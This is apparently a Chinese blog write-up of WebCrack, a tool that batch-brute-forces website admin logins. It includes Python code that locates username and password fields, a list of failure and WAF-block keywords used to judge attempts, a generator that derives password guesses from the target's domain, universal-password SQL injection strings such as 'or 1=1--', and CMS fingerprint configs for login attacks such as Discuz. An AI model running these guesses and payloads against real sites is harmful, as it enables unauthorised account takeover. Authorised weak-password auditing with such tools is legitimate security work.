WebCrack：网站后台弱口令批量检测工具

1

抓包 -> send to intruder -> 标注出要爆破的参数 -> 发送payload爆破 -> 查看返回结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

if parameter:
            if not user_key:
                for z in [ 'user', 'name','zhanghao', 'yonghu', 'email', 'account']:
                    if z in parameter.lower():
                        value = '{user_name}'
                        user_key = parameter
                        ok_flag = 1
                        break
            if not ok_flag:
                for y in ['pass', 'pw', 'mima']:
                    if y in parameter.lower():
                        value = '{pass_word}'
                        pass_key = parameter
                        ok_flag = 1
                        break

1
2
3

['密码错误', '重试', '不正确', '密码有误','不成功', '重新输入', 'history.back', '不存在', '登录失败',
'登陆失败','出错','已被锁定','history.go','安全拦截','还可以尝试','无效','攻击行为','创宇盾', '非法',
'百度加速','安全威胁','防火墙','黑客', '不合法','warning.asp?msg=','Denied']

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

def gen_dynam_dic(url):
    dynam_pass_dic = []
    tmp_dic = []
    suffix_dic = ['', '123', '888', '666', '123456']
    list1 = url.split('/')
    host = list1[2].split(":")[0]
    compile_ip = re.compile('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$')
    if compile_ip.match(host):
        check_ip = 1
    else:
        check_ip = 0
    if not check_ip:
        list2 = host.split(".")
        i = len(list2)
        for u in range(i):
            list3 = list2[u:]
            part = '.'.join(list3)
            if (len(part) < 5):
                continue
            dynam_pass_dic.append(part)
        for u in range(i):  
            list3 = list2[u]
            if len(list3) < 5:
                continue
            tmp_dic.append(list3)
        for i in tmp_dic:
            for suffix in suffix_dic:
                u = i + suffix
                dynam_pass_dic.append(u)
        return dynam_pass_dic
    else:
        return ''

1

webcrack.yzddmr6.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

webcrack.yzddmr6.com
yzddmr6.com
webcrack
webcrack123
webcrack888
webcrack666
webcrack123456
yzddmr6
yzddmr6123
yzddmr6888
yzddmr6666
yzddmr6123456

1
2
3
4
5

admin' or 'a'='a
'or'='or'
admin' or '1'='1' or 1=1
')or('a'='a
'or 1=1--

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

[
    {
        "name":"这里是cms名称",
        "keywords":"这里是cms后台页面的关键字,是识别cms的关键",
        "captcha":"1为后台有验证码，0为没有。因为此版本并没有处理验证码，所以为1则退出爆破",
        "exp_able":"是否启用万能密码模块爆破",
        "success_flag":"登录成功后的页面的关键字",
        "fail_flag":"请谨慎填写此项。如果填写此项，遇到里面的关键字就会退出爆破，用于dz等对爆破次数有限制的cms",
        "alert":"若为1则会打印下面note的内容",
        "note":"请保证本文件是UTF-8格式，并且请勿删除此说明"
    }
]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

{
        "name":"discuz",
        "keywords":"admin_questionid",
        "captcha":0,
        "exp_able":0,
        "success_flag":"admin.php?action=logout",
        "fail_flag":"密码错误次数过多",
        "alert":0,
        "note":"discuz论坛测试"
    }